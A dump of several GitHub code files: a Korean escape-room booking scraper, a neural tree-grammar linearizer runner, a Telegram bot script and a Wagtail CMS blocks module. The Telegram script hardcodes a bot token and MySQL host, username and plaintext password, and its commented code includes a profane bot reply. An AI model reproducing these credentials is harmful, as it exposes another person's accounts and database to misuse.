response\n\n\n\n\n\n\n\ndef master_key_list():\n url = \"http://www.master-key.co.kr/home/office\"\n \n response = requests.get(url).text\n \n document = bs(response, 'html.parser')\n \n # 별명의 종류가 class면 앞에 . id인경우 앞에 # 나머지는 속성\n lis = document.select('.escape_list .escape_view') \n \n cafe_list = []\n \n for li in lis:\n \n title = li.select_one('p').text\n address = li.select('dd')[0].text\n tel = li.select('dd')[1].text\n link = li.select_one('a').get('href')\n id = link.split(\"=\")[1]\n #link = li.select_one('a')['href']\n \n # python how to eliminate string from string\n # String 끝부분 자르는 코드\n if title.endswith('NEW'):\n title = title[:-3]\n \n if address.endswith('마스터키 '):\n address = address[:-6]\n \n cafe = {\n 'title': title,\n 'info': address +' '+ tel,\n 'link': 'http://www.master-key.co.kr'+link,\n #'id': id\n 'id': ' '\n }\n \n cafe_list.append(cafe)\n \n return cafe_list\n\n\ndef master_key_info(id):\n url = \"http://www.master-key.co.kr/booking/booking_list_new\"\n \n params = {\n \"date\": time.strftime(\"%Y-%m-%d\"),\n \"store\": id,\n \"room\": \"\"\n }\n \n response = requests.post(url, params).text\n \n document = bs(response, 'html.parser')\n \n lis = document.select('.reserve .escape_view')\n \n theme_list = []\n \n for li in lis:\n title = li.select('p')[0].text\n info =''\n \n for col in li.select('.col'):\n info = info + '{} - {}\\n'.format(col.select_one('.time').text, col.select_one('.state').text)\n \n theme = {\n 'title': title,\n 'info': info\n }\n \n theme_list.append(theme)\n \n return theme_list\n\n\ndef get_total_info():\n CAFE_CODE = {\n '강남1호점': 3,\n '홍대1호점': 1,\n '부산 서면점':5,\n '인천 부평점':4,\n '강남2호점': 11,\n '홍대2호점': 10\n }\n \n \n url = 'http://www.seoul-escape.com/reservation/change_date/'\n \n params = {\n 'current_date': time.strftime(\"%Y/%m/%d\")\n }\n \n \n response = requests.get(url, params = params).text\n \n document = json.loads(response)\n \n total = {}\n game_room_list = document[\"gameRoomList\"]\n book_list = document[\"bookList\"]\n \n # 기본 틀 잡기\n for cafe in CAFE_CODE:\n total[cafe] = []\n for room in game_room_list:\n if(CAFE_CODE[cafe] == room[\"branch_id\"]):\n total[cafe].append({\"title\": room[\"room_name\"],\n \"info\": []})\n \n # 앞에서 만들 틀에 데이터 집어넣기\n for cafe in total:\n for book in book_list:\n if(cafe == book[\"branch\"]):\n for theme in total[cafe]:\n if(theme[\"title\"] == book[\"room\"]):\n if(book[\"booked\"]):\n booked = \"예약완료\"\n else:\n booked = \"예약가능\"\n theme[\"info\"].append(\"{} - {}\".format(book[\"hour\"], booked))\n \n \n return total\n\n\n\ndef seoul_escape_list():\n total = get_total_info()\n \n return total.keys()\n \n \ndef seoul_escape_info(id):\n total = get_total_info()\n cafe = total[id]\n \n theme_list = []\n \n for theme in cafe:\n theme_list.append(\"\\n{}\\n{}\".format(theme[\"title\"], '\\n'.join(theme[\"info\"])))\n \n \n return theme_list\n\n\n\n\n","repo_name":"Hansung-Lee/SSAFY","sub_path":"hphk/hphk_005/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"176357932","text":"\"\"\"Linearizing routine\n\nUsage:\n run_linearizer.py (fergusr|fergusn) (dev|test) (convolutional|token|minimaltoken) \n run_linearizer.py (-h | --help)\n\nOptions:\n fergusr,fergusn choose the model, fergus recurrent or fergus neuralized\n dev,test choose the dataset to run on\n convolution,token chosen the supertag embedding style\n \n \n \nNotes: \nMcMahan and Stone\n\"Syntactic realization with data-driven neural tree grammars\" \npublished in COLING 2016\n\"\"\"\nfrom __future__ import absolute_import, print_function, division\n\nimport os\nimport sys\nhere = os.path.dirname(os.path.realpath(__file__))\nsys.path.append(os.path.join(here, '..'))\nimport fergus\n\nfrom fergus.algorithms import linearizer\nfrom fergus.models import language_model\nfrom fergus.configs import compose_configs\nfrom sqlitedict import SqliteDict \nfrom tqdm import tqdm\nfrom docopt import docopt\nimport numpy as np\nimport editdistance\nimport os\n\n\ndef run(config, db_name):\n with SqliteDict(db_name, tablename='tagged_data') as db:\n data = list(db.items())\n with SqliteDict(db_name, tablename='linearized_data') as db:\n finished = set(db.keys())\n\n data = [datum for datum in data if datum[0] not in finished]\n\n model = language_model.from_config(config)\n _safety = 2**32\n \n beam = linearizer.decode.beam\n decode_one = linearizer.utils.decode_one\n gendist = linearizer.utils.gendist\n PartialTree = linearizer.partialtree.PartialTree\n editdist = editdistance.eval\n\n results = {}\n bar = tqdm(total=len(data), desc='partial to trellis to decoding')\n \n for idx, (datum, datum_str, _) in data:\n partial = PartialTree.from_list(datum)\n partial.prep()\n difficulty = partial.measure_difficulty()\n model.logger.debug(str(idx)+' Difficulty: '+str(difficulty))\n if difficulty > 2**35:\n bad_str = \"Skipping. index={}; difficulty={}\".format(idx, difficulty)\n model.logger.debug(bad_str)\n bar.update(1)\n continue\n \n seqs, memos = linearizer.dp.run(partial)\n if len(seqs) == 0:\n bad_str = \"Failure. index={}; difficulty={}\".format(idx, difficulty)\n model.logger.debug(bad_str)\n bar.update(1)\n continue\n \n datumstr_as_list = datum_str.split(\" \")\n datum_len = len(datumstr_as_list)\n \n beam_state, step_decisions, best_idx = beam(memos, model)\n genscores = {}\n edscores = {}\n saving_state = {'datum': datum_str, \n 'beam_state': beam_state, \n 'difficulty': difficulty,\n 'generation_distance': [], \n 'edit_distance': [], \n 'beam_solutions': [], \n 'beam_scores': []}\n seen = set()\n for score, beam_idx in beam_state:\n sentence = decode_one(memos, beam_idx)\n assert beam_idx not in seen\n seen.add(beam_idx)\n \n gval = gendist(datumstr_as_list, sentence)\n edval = editdist(datumstr_as_list, sentence)\n\n saving_state['generation_distance'].append(gval)\n saving_state['edit_distance'].append(edval)\n saving_state['beam_solutions'].append(sentence)\n saving_state['beam_scores'].append(score)\n \n results[idx] = saving_state\n\n bar.update(1)\n \n if len(results) > 10: \n with SqliteDict(db_name, tablename='linearized_data') as db:\n db.update(results)\n db.commit()\n results = {}\n \n if len(results) > 0:\n with SqliteDict(db_name, tablename='linearized_data') as db:\n db.update(results)\n db.commit()\n results = {}\n\n print(\"Finished.\")\n\n\nif __name__ == '__main__':\n args = docopt(__doc__, version=\"Linearizer. publication version. 2016\")\n ### the options in docopt doc were mutually exlusive\n data_type = \"dev\" if args['dev'] else \"test\"\n if args['convolutional']:\n embed_type = 'convolutional'\n elif args['token']:\n embed_type = 'token'\n elif args['minimaltoken']:\n embed_type = 'minimaltoken'\n elif args['shallowconv']:\n embed_type = 'shallowconv'\n else:\n raise Exception(\"bad embedding argument\")\n model_type = \"fergusn\" if args['fergusn'] else 'fergusr'\n base_name = \"{}_{}_{}\".format(model_type, embed_type, data_type)\n db_name = base_name+\".db\"\n \n config = compose_configs(data=data_type, model='language_model')\n \n db_name = os.path.join(config['data_dir'], db_name)\n \n run(config, db_name)","repo_name":"braingineer/neural_tree_grammar","sub_path":"runners/run_linearizer.py","file_name":"run_linearizer.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"9754775558","text":"import pyodbc\nimport tycepTeleBot\ntoken = \"577176573:AAGDfNF69sI7Hwa6FklvKaxtoQJm3tkmwE4\"\nurl = \"https://api.telegram.org/bot\" + token + \"/\"\n\nbot = tycepTeleBot\nbot.set_url(url)\noffset = None\n\nsett = {'driver': 'DRIVER={MySQL}', 'server': 'SERVER=spb911kr.beget.tech', 'port': 'PORT=21',\n 'db': 'DATABASE=spb911kr_stats', 'user': 'UID=spb911kr_stats', 'pw': 'PWD=Maks1988'}\n# driver = 'DRIVER={SQL Server}'\n# server = 'SERVER=localhost'\n# port = 'PORT=1433'\n# db = 'DATABASE=testdb'\n# user = 'UID=me'\n# pw = 'PWD=pass'\n\nconn_str = ';'.join([sett['driver'], sett['server'], sett['db'], sett['user'], sett['pw']])\n\nconn = pyodbc.connect(conn_str)\ncursor = conn.cursor()\n\ncursor.execute('select * from Users')\nrow = cursor.fetchone()\nrest_of_rows = cursor.fetchall()\nprint(row)\n\n#\n# while True:\n# bot.get_updates(offset)\n# last_update = bot.get_last_update()\n#\n# last_update_id = last_update['update_id']\n# last_chat_text = last_update['message']['text']\n# last_chat_id = last_update['message']['chat']['id']\n# last_chat_name = last_update['message']['chat']['first_name']\n#\n# if last_chat_text.lower() == 'привет':\n# bot.send_message(last_chat_id, 'Пошел на хуй ' + last_chat_name)\n#\n# if last_chat_text == '/reg':\n# pass\n#\n# offset = last_update_id + 1\n#\n\n#-----------------------------------------------------------------------------------\n# chat_id = bot.get_chat_id(bot.last_update(bot.get_updates_json(url)))\n# update_id = bot.last_update(bot.get_updates_json(url))['update_id']\n# while True:\n# if update_id == bot.last_update(bot.get_updates_json(url))['update_id']:\n# bot.send_message(bot.get_chat_id(bot.last_update(bot.get_updates_json(url))), 'test')\n# update_id += 1\n# time.sleep(0.2)\n\n\n\n\n\n\n\n\n\n# from bs4 import BeautifulSoup\n# import urllib3\n#\n# token = '577176573:AAGDfNF69sI7Hwa6FklvKaxtoQJm3tkmwE4'\n# urlGetUpdates = 'https://api.telegram.org/bot' + token + '/getUpdates'\n#\n# url = 'https://api.telegram.org/bot' + token\n# urlmsg = url + '/sendMessage?chat_id=288642712&text=PIDOR'\n# http = urllib3.PoolManager()\n# response = http.request('GET', urlGetUpdates)\n# print(response.data)\n# soup = BeautifulSoup(response.data, \"html.parser\")\n\n# $jsonDecoded = json_decode($json, TRUE);\n#\n# $lastId = count($jsonDecoded[\"result\"])-1;\n# $chat_id = $jsonDecoded[\"result\"][$lastId][\"message\"][\"chat\"][\"id\"];\n# $message = $jsonDecoded[\"result\"][$lastId][\"message\"][\"text\"];\n# web\n\n","repo_name":"Tycep/Work","sub_path":"old work/Shakhov/Python/BotMaxZbsAnalytics/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70038652676","text":"from django.forms.utils import ErrorList\nfrom django.utils.translation import gettext_lazy as _\nfrom wagtail.blocks import (BooleanBlock, CharBlock, ChoiceBlock,\n PageChooserBlock, RawHTMLBlock, RichTextBlock,\n StaticBlock, StreamBlock, StructBlock, StructValue,\n TextBlock)\nfrom wagtail.blocks.field_block import IntegerBlock, URLBlock\nfrom wagtail.blocks.struct_block import StructBlockValidationError\nfrom wagtail.embeds.blocks import EmbedBlock\nfrom wagtail.images.blocks import ImageChooserBlock\nfrom wagtail_localize.synctree import Locale\n\nimport core.metadata\n\n\nclass HiddenCharBlock(CharBlock):\n pass\n\nclass ColourThemeChoiceBlock(ChoiceBlock):\n choices=[\n ('bg-transparent', _(\"Transparent\")),\n ('text-black bg-light', _(\"Light\")),\n ('text-white bg-dark', _(\"Dark\")),\n ('text-black bg-helene-green', _(\"Green\")),\n ('text-black bg-helene-faded-green', _(\"Faded Green\")),\n ('text-black bg-helene-grey-green', _(\"Grey Green\")),\n ('text-white bg-helene-coral', _(\"Coral\")),\n ('text-white bg-helene-magenta', _(\"Magenta\")),\n ('text-white bg-helene-blue', _(\"Blue\")),\n ('text-white bg-helene-cerise', _(\"Cerise\")),\n ('text-black bg-helene-moutard', _(\"Moutard\")),\n ]\n\nclass ButtonChoiceBlock(ChoiceBlock):\n choices=[\n ('btn-primary', _(\"Standard Button\")),\n ('btn-secondary', _(\"Secondary Button\")),\n ('btn-link', _(\"Text Only\")),\n ('btn-success', _(\"Success Button\")),\n ('btn-danger', _(\"Danger Button\")),\n ('btn-warning', _(\"Warning Button\")),\n ('btn-info', _(\"Info Button\")),\n ('btn-light', _(\"Light Button\")),\n ('btn-dark', _(\"Dark Button\")),\n ]\n\nclass ImageFormatChoiceBlock(ChoiceBlock):\n choices=[\n ('4-1', _(\"4:1 Horizontal Letterbox Banner\")),\n ('3-1', _(\"3:1 Horizontal Panorama Banner\")),\n ('4-3', _(\"4:3 Horizontal Standard Format\")),\n ('1-1', _(\"1:1 Square Format\")),\n ('3-4', _(\"3:4 Portrait Standard Format\")),\n ('1-3', _(\"1:3 Vertical Panorama Banner\")),\n ]\n\nclass SEOImageChooseBlock(StructBlock):\n file = ImageChooserBlock(required=True, label=_(\"Image\"))\n seo_title = CharBlock(\n required=True,\n label=_(\"SEO Title\")\n )\n\nclass ImageBlock(StructBlock):\n \"\"\"\n Custom `StructBlock` for utilizing images with associated caption and\n attribution data\n \"\"\"\n image = SEOImageChooseBlock(required=True, label=_(\"Select Image & Enter Details\"))\n caption = CharBlock(required=False, label=_(\"Image Caption (optional)\"))\n attribution = CharBlock(required=False, label=_(\"Image Attribution (optional)\"))\n background = ColourThemeChoiceBlock(\n default='bg-transparent',\n label=_(\"Card Background Colour\")\n )\n class Meta:\n icon = 'image'\n template = \"blocks/image_block.html\"\n label = _(\"Image Block\")\n\nclass BlockQuote(StructBlock):\n \"\"\"\n Custom `StructBlock` that allows the user to attribute a quote to the author\n \"\"\"\n text = TextBlock(label=_(\"Quote\"))\n attribute_name = CharBlock(\n blank=True, required=False, label=_(\"Optional Attribution\"))\n background = ColourThemeChoiceBlock(\n default='bg-transparent',\n label=_(\"Card Background Colour\")\n )\n\n class Meta:\n icon = \"fa-quote-left\"\n template = \"blocks/blockquote.html\"\n label = _(\"Quote Block\")\n\nclass Link_Value(StructValue):\n \"\"\" Additional logic for the Link class \"\"\"\n\n def url(self) -> str:\n internal_page = self.get(\"internal_page\")\n url_link = self.get(\"url_link\")\n if internal_page:\n return internal_page.localized.url\n elif url_link:\n if url_link.startswith('/'): # presumes internal link starts with '/' and no lang code\n url = '/' + Locale.get_active().language_code + url_link\n else:\n url = url_link \n return url\n else:\n return None\n\nclass Link(StructBlock):\n button_text = CharBlock(\n max_length=50,\n null=False,\n blank=False,\n label=_(\"Button Text\")\n )\n internal_page = PageChooserBlock(\n required=False,\n label=_(\"Link to internal page\")\n )\n url_link = CharBlock(\n required=False,\n label=_(\"Link to external site or internal URL\")\n )\n open_in_new_tab = BooleanBlock(\n required=False,\n default=False,\n label=_(\"Open in New Tab\"),\n help_text=_(\"Recommended for external links\")\n )\n appearance = ButtonChoiceBlock(\n max_length=15,\n default='btn-primary',\n label=_(\"Button Appearance\")\n )\n placement = ChoiceBlock(\n max_length=15,\n default='right',\n choices=[\n ('left', _(\"Left\")),\n ('center', _(\"Centre\")),\n ('right', _(\"Right\")),\n ],\n label=_(\"Button Placement\")\n )\n size = ChoiceBlock(\n max_length=10,\n default=' ',\n choices=[\n ('btn-sm', _(\"Small\")),\n (' ', _(\"Standard\")),\n ('btn-lg', _(\"Large\")),\n ],\n label=_(\"Button Size\")\n )\n class Meta:\n value_class = Link_Value\n icon = \"fa-link\"\n template = \"blocks/link_button.html\"\n\n def clean(self, value):\n errors = {}\n internal_page = value.get('internal_page')\n url_link = value.get('url_link')\n\n if not(bool(internal_page) ^ bool(url_link)):\n msg = _(\"Please select an internal page or an external link (but not both)\")\n errors['internal_page'] = ErrorList([msg])\n errors['url_link'] = ErrorList([msg])\n\n if errors:\n raise StructBlockValidationError(block_errors=errors)\n\n return super().clean(value)\n\nclass SimpleRichTextBlock(StructBlock):\n alignment = ChoiceBlock(\n choices = [\n ('justify', 'Justified'), \n ('left', 'Left'), \n ('center', 'Centre'), \n ('right', 'Right')\n ],\n default='justify'\n )\n content = RichTextBlock(\n features= [\n 'h2', 'h3', 'h4', 'h5', 'h6',\n 'bold',\n 'italic',\n 'underline',\n 'ol',\n 'ul',\n 'link',\n 'hr',\n\t\t\t'smaller',\n 'larger'\n ]\n )\n\n class Meta:\n template = 'blocks/simple_richtext_block.html'\n label = _(\"Formatted Text Block\")\n icon = 'fa-text-height'\n\nclass FlexCard(StructBlock):\n \n format = ChoiceBlock(\n max_length=15,\n default='vertical',\n choices=[\n ('image-left-responsive', _(\"Responsive Horizontal (Image left of text on widescreen only)\")),\n ('image-right-responsive', _(\"Responsive Horizontal (Image right of text on widescreen only)\")),\n ('image-left-fixed', _(\"Fixed Horizontal (Image left of text on all screen sizes)\")),\n ('image-right-fixed', _(\"Fixed Horizontal (Image right of text on all screen sizes)\")),\n ('vertical', _(\"Vertical (Image above text on on all screen sizes)\")),\n ],\n label=_(\"Card Format\")\n ) \n background = ColourThemeChoiceBlock(\n default='bg-transparent',\n label=_(\"Card Background Colour\")\n )\n border = BooleanBlock(\n default=True,\n required=False,\n label=_(\"Border\"),\n help_text=_(\"Draw a border around the card?\")\n )\n full_height = BooleanBlock(\n default=True,\n required=False,\n label=_(\"Full Height\"),\n help_text=_(\"Card uses all available height\")\n )\n text = SimpleRichTextBlock(\n label=_(\"Card Body Text\"),\n help_text=_(\"Body text for this card.\"),\n )\n image = SEOImageChooseBlock(\n label=_(\"Select Image & Enter Details\"),\n help_text=_(\"Card Image (approx 1:1.4 ratio - ideally upload 2100x1470px).\"),\n )\n\n class Meta:\n template = 'blocks/flex_card_block.html'\n label = _(\"Image & Text Card\")\n icon = 'fa-address-card'\n\nclass CallToActionCard(FlexCard):\n link = Link(\n label=_(\"Link Button\"),\n help_text = _(\"Enter a link or select a page and choose button options.\"),\n required=False,\n )\n class Meta:\n template = 'blocks/flex_card_block.html'\n label = _(\"Call-To-Action Card (Image/Text/Button)\")\n icon = 'fa-address-card'\n\nclass SimpleCard(StructBlock):\n background = ColourThemeChoiceBlock(\n default='bg-transparent',\n label=_(\"Card Background Colour\")\n ) \n border = BooleanBlock(\n default=True,\n required=False,\n label=_(\"Border\"),\n help_text=_(\"Draw a border around the card?\")\n )\n full_height = BooleanBlock(\n default=True,\n required=False,\n label=_(\"Full Height\"),\n help_text=_(\"Card uses all available height\")\n )\n text = SimpleRichTextBlock(\n label=_(\"Card Body Text\"),\n help_text=_(\"Body text for this card.\"),\n )\n\n class Meta:\n template = 'blocks/simple_card_block.html'\n label = _(\"Simple Card (Text Only)\")\n icon = 'fa-align-justify'\n\nclass SimpleCardStreamBlock(StreamBlock):\n simple_card = SimpleCard()\n\nclass SimpleCardGridBlock(StructBlock):\n columns = ChoiceBlock(\n max_length=40,\n default='row-cols-1 row-cols-sm-2 row-cols-md-3 row-cols-lg-4',\n choices=[\n ('row-cols-1 row-cols-sm-2 row-cols-lg-3 row-cols-xl-4', _(\"Mobile:1 Max:4\")),\n ('row-cols-1 row-cols-md-2', _(\"Mobile:1 Max:2\")),\n ('row-cols-2 row-cols-lg-3 row-cols-xl-4', _(\"Mobile:2 Max:4\")),\n ],\n label=_(\"Maximum Cards per Row\")\n )\n cards = SimpleCardStreamBlock()\n\n class Meta:\n template = \"blocks/simple_card_grid_block.html\"\n icon = 'fa-th'\n label = _(\"Flexible Grid of Simple Cards\")\n\nclass InlineVideoBlock(StructBlock):\n video = EmbedBlock(\n label=_(\"Video URL\"),\n help_text = _(\"eg 'https://www.youtube.com/watch?v=kqN1HUMr22I'\")\n )\n caption = CharBlock(required=False, label=_(\"Caption\"))\n float = ChoiceBlock(\n required=False,\n choices=[('right', _(\"Right\")), ('left', _(\"Left\")), ('center', _(\"Center\"))],\n default='right',\n label=_(\"Float\"),\n )\n size = ChoiceBlock(\n required=False,\n choices=[('small', _(\"Small\")), ('medium', _(\"Medium\")), ('large', _(\"Large\"))],\n default='small',\n label=_(\"Size\"),\n )\n\n class Meta:\n icon = 'media'\n template = 'blocks/inline_video_block.html'\n label = _(\"Embed external video\") \n\nclass SocialMediaEmbedBlock(StructBlock):\n embed_code = RawHTMLBlock(\n label=_(\"Paste Embed code block from Provider\"),\n help_text=_(\"Paste in only embed code. For Facebook, only Step 2 on the JavaScript SDK tab\")\n )\n class Meta:\n template='blocks/social_media_embed.html'\n icon = 'fa-share-alt-square'\n label = _(\"Embed Social Media Post\")\n\nclass HtmlBlock(StructBlock):\n code = RawHTMLBlock(\n label=_(\"Enter HTML Code\")\n )\n class Meta:\n template='blocks/html_code_block.html'\n icon = 'fa-file-code'\n label = _(\"Embed HTML Code\")\n\nclass ExternalLinkEmbedBlock(StructBlock):\n external_link = URLBlock(\n label=_(\"URL to External Article\"),\n help_text=_(\"For articles in external websites without embed share option\"),\n )\n image = CharBlock(\n max_length=200, \n null=True, \n blank=True,\n help_text=_(\"Leave blank to autofill from website. Delete text to refresh from website.\")\n )\n title = CharBlock(\n max_length=200, \n null=True, \n blank=True,\n help_text=_(\"Leave blank to autofill from website. Delete text to refresh from website.\")\n )\n description = TextBlock(\n null=True, \n blank=True,\n help_text=_(\"Leave blank to autofill from website. Delete text to refresh from website.\")\n )\n format = ChoiceBlock(\n max_length=15,\n default='vertical',\n choices=[\n ('image-left-responsive', _(\"Responsive Horizontal (Image left of text on widescreen only)\")),\n ('image-right-responsive', _(\"Responsive Horizontal (Image right of text on widescreen only)\")),\n ('image-left-fixed', _(\"Fixed Horizontal (Image left of text on all screen sizes)\")),\n ('image-right-fixed', _(\"Fixed Horizontal (Image right of text on all screen sizes)\")),\n ('vertical', _(\"Vertical (Image above text on on all screen sizes)\")),\n ],\n label=_(\"Card Format\")\n ) \n background = ColourThemeChoiceBlock(\n default='bg-transparent',\n label=_(\"Card Background Colour\")\n )\n border = BooleanBlock(\n default=True,\n required=False,\n label=_(\"Border\"),\n help_text=_(\"Draw a border around the card?\")\n )\n full_height = BooleanBlock(\n default=True,\n required=False,\n label=_(\"Full Height\"),\n help_text=_(\"Card uses all available height\")\n )\n button_text = CharBlock(\n label=_(\"Text for link to article\"),\n default=_(\"Read Full Article\")\n )\n button_appearance = ButtonChoiceBlock(\n max_length=15,\n default='btn-primary',\n label=_(\"Button Appearance\")\n )\n button_placement = ChoiceBlock(\n max_length=15,\n default='right',\n choices=[\n ('left', _(\"Left\")),\n ('center', _(\"Centre\")),\n ('right', _(\"Right\")),\n ],\n label=_(\"Button Placement\")\n )\n button_size = ChoiceBlock(\n max_length=10,\n default=' ',\n choices=[\n ('btn-sm', _(\"Small\")),\n (' ', _(\"Standard\")),\n ('btn-lg', _(\"Large\")),\n ],\n label=_(\"Button Size\")\n )\n\n class Meta:\n template='blocks/external_link_embed.html',\n icon = 'fa-share-alt'\n label = _(\"Embed External Article\")\n \n def clean(self, value):\n errors = {}\n\n if not(value['image'] and value['title'] and value['description']):\n try:\n metadata = core.metadata.get_metadata(value.get('external_link'))\n except:\n metadata = None\n errors['external_link'] = ErrorList([_(\"No information for the URL was found, please check the URL and ensure the full URL is included and try again.\")])\n \n try:\n if metadata:\n if metadata['image'] and not value['image']:\n value['image'] = metadata['image']\n if metadata['title'] and not value['title']:\n value['title'] = metadata['title']\n if metadata['description'] and not value['description']:\n value['description'] = metadata['description']\n except KeyError:\n errors['external_link'] = ErrorList([_(\"No information for the URL was found, please check the URL and ensure the full URL is included and try again.\")])\n\n if errors:\n raise StructBlockValidationError(block_errors=errors)\n\n return super().clean(value)\n\nclass CarouselImageBlock(StructBlock):\n image = SEOImageChooseBlock(label=_(\"Select Image & Enter Details\"))\n title = CharBlock(label=_(\"Optional Image Title\"), required=False)\n caption = TextBlock(label=_(\"Optional Image Caption\"), required=False)\n link = PageChooserBlock(\n required=False,\n label=_(\"Optional Link to Internal Page\")\n )\n class Meta:\n icon = 'image'\n label = _(\"Image for Carousel\")\n\nclass CarouselImageStreamBlock(StreamBlock):\n carousel_image = CarouselImageBlock()\n\nclass ImageCarouselBlock(StructBlock):\n format = ImageFormatChoiceBlock(\n default='4-3',\n label=_(\"Select image aspect ratio\"),\n )\n heading = CharBlock(\n label=_(\"Carousel Title\"), \n required=False,\n )\n carousel_images = CarouselImageStreamBlock(min_num=2, max_num=5)\n \n class Meta:\n template='blocks/image_carousel.html'\n icon=\"fa-clone\"\n label = _(\"Image Carousel\")\n\nclass CollapsableCard(StructBlock):\n header = CharBlock(\n label=_(\"Card Banner Title\")\n )\n text = SimpleRichTextBlock(\n label=_(\"Card Body Text\"),\n help_text=_(\"Body text for this card.\"),\n )\n\nclass CollapsableCardStreamBlock(StreamBlock):\n collapsable_card = CollapsableCard()\n\nclass CollapsableCardBlock(StructBlock):\n header_colour = ColourThemeChoiceBlock(\n default='text-white bg-dark',\n label=_(\"Card Header Background Colour\")\n ) \n body_colour = ColourThemeChoiceBlock(\n default='text-black bg-light',\n label=_(\"Card Body Background Colour\")\n )\n cards = CollapsableCardStreamBlock(min_num=2)\n\n class Meta:\n template='blocks/collapsable_card_block.html'\n icon=\"fa-stack-overflow\"\n label = _(\"Collapsable Text Block\")\n\nclass EmptyStaticBlock(StaticBlock):\n class Meta:\n template = 'blocks/empty_block.html'\n icon = 'placeholder'\n label = 'Empty Block'\n\nclass SpacerStaticBlock(StaticBlock):\n class Meta:\n template = 'blocks/spacer_block.html'\n icon = 'fa-square'\n label = 'Add Blank Space'\n\nclass RandomTestimonialBlock(StaticBlock):\n class Meta:\n template = 'blocks/random_testimonial_block.html'\n icon = 'fa-comment'\n label = 'Random Testimonial'\n\nclass BaseStreamBlock(StreamBlock):\n richtext_block = SimpleRichTextBlock()\n image_block = ImageBlock()\n block_quote = BlockQuote()\n link_button = Link()\n flex_card = FlexCard()\n call_to_action_card = CallToActionCard()\n simple_card = SimpleCard()\n simple_card_grid = SimpleCardGridBlock()\n collapsible_card_block = CollapsableCardBlock()\n social_media_embed = SocialMediaEmbedBlock()\n external_link_embed = ExternalLinkEmbedBlock()\n inline_video_block = InlineVideoBlock()\n image_carousel = ImageCarouselBlock()\n random_testimonial = RandomTestimonialBlock()\n spacer_block = SpacerStaticBlock()\n empty_block = EmptyStaticBlock()\n\nclass TwoColumnLayoutChoiceBlock(ChoiceBlock):\n choices = [\n ('auto-', _(\"Left column width determined by content (care needed, test on all screen sizes)\")),\n ('-auto', _(\"Right column width determined by content (care needed, test on all screen sizes)\")),\n ('1-11', _(\"Left 1, Right 11\")),\n ('2-10', _(\"Left 2, Right 10\")),\n ('3-9', _(\"Left 3, Right 9\")),\n ('4-8', _(\"Left 4, Right 8\")),\n ('5-7', _(\"Left 5, Right 7\")),\n ('6-6', _(\"Left 6, Right 6\")),\n ('7-5', _(\"Left 7, Right 5\")),\n ('8-4', _(\"Left 8, Right 4\")),\n ('9-3', _(\"Left 9, Right 3\")),\n ('10-2', _(\"Left 10, Right 2\")),\n ('11-1', _(\"Left 11, Right 1\")),\n ]\n\nclass ThreeColumnLayoutChoiceBlock(ChoiceBlock):\n choices = [\n ('-auto-', _(\"Centre column width determined by content (care needed, test on all screen sizes)\")),\n ('4-4-4', _(\"Equal Width Columns\")),\n ('3-6-3', _(\"Left 3, Centre 6, Right 3\")),\n ('2-8-2', _(\"Left 2, Centre 8, Right 2\")),\n ('1-10-1', _(\"Left 1, Centre 10, Right 1\")),\n ]\n\nclass BreakPointChoiceBlock(ChoiceBlock):\n choices = [\n ('-', _(\"Columns side by side on all screen sizes (best for uneven column sizes)\")),\n ('-lg', _(\"Columns side by side on large screen only\")),\n ('-md', _(\"Columns side by side on medium and large screen only\")),\n ('-sm', _(\"Single column on mobile, side by side on all other screens\"))\n ]\n\nclass FullWidthBaseBlock(StructBlock):\n column = BaseStreamBlock(\n label=_(\"Single Column Contents\"),\n blank=True,\n Null=True\n )\n\n class Meta:\n template = 'blocks/full_width_block.html'\n icon = 'arrows-alt-h'\n label = \"Page Wide Block\"\n\nclass TwoColumnBaseBlock(StructBlock):\n column_layout = TwoColumnLayoutChoiceBlock(\n default = '6-6',\n label = _(\"Select column size ratio\")\n )\n breakpoint = BreakPointChoiceBlock(\n default = '-sm',\n label = _(\"Select responsive layout behaviour\")\n )\n horizontal_padding = IntegerBlock(\n default = 4,\n max_value=5\n )\n vertical_border = BooleanBlock(\n default=False,\n required=False,\n label=_(\"Vertical Border\"),\n help_text=_(\"Add a vertical line between columns\")\n )\n order = ChoiceBlock(\n max_length=15,\n default='left-first',\n choices=[\n ('left-first', _(\"Left column is first on mobile\")),\n ('right-first', _(\"Right column is first on mobile\")),\n ],\n label=_(\"Column order on mobile\"),\n help_text=_(\"Select which column will appear above the other on mobile screen\")\n ) \n hide = ChoiceBlock(\n max_length=15,\n default='hide-none',\n choices=[\n ('hide-none', _(\"Display both column contents on mobile (one above the other)\")),\n ('hide-left', _(\"Hide the left column contents on mobile\")),\n ('hide-right', _(\"Hide the right column contents on mobile\")),\n ],\n label=_(\"Hide contents on mobile\")\n ) \n\n left_column = BaseStreamBlock(\n label=_(\"Left Column Contents\"),\n blank=True,\n Null=True\n )\n right_column = BaseStreamBlock(\n label=_(\"Right Column Contents\"),\n blank=True,\n Null=True\n )\n\n class Meta:\n template = 'blocks/two_column_block.html'\n icon = 'fa-columns'\n label = \"Two Column Block\"\n\nclass ThreeColumnBaseBlock(StructBlock):\n column_layout = ThreeColumnLayoutChoiceBlock(\n default = '4-4-4',\n label = _(\"Select column size ratio\")\n )\n breakpoint = BreakPointChoiceBlock(\n default = '-md',\n label = _(\"Select responsive layout behaviour\")\n )\n horizontal_padding = IntegerBlock(\n default = 4,\n max_value=5\n )\n vertical_border = BooleanBlock(\n default=False,\n required=False,\n label=_(\"Vertical Border\"),\n help_text=_(\"Add a vertical line between columns\")\n )\n hide = ChoiceBlock(\n max_length=15,\n default='hide-none',\n choices=[\n ('hide-none', _(\"Display all columns on mobile (one above the other)\")),\n ('hide-sides', _(\"Hide the left and right columns contents on mobile\")),\n ],\n label=_(\"Hide contents on mobile\")\n ) \n\n left_column = BaseStreamBlock(\n label=_(\"Left Column Contents\"),\n blank=True,\n Null=True\n )\n centre_column = BaseStreamBlock(\n label=_(\"Centre Column Contents\"),\n blank=True,\n Null=True\n )\n right_column = BaseStreamBlock(\n label=_(\"Right Column Contents\"),\n blank=True,\n Null=True\n )\n\n class Meta:\n template = 'blocks/three_column_block.html'\n icon = 'fa-columns'\n label = \"Three Column Block\"\n\nclass GridStreamBlock(StreamBlock):\n 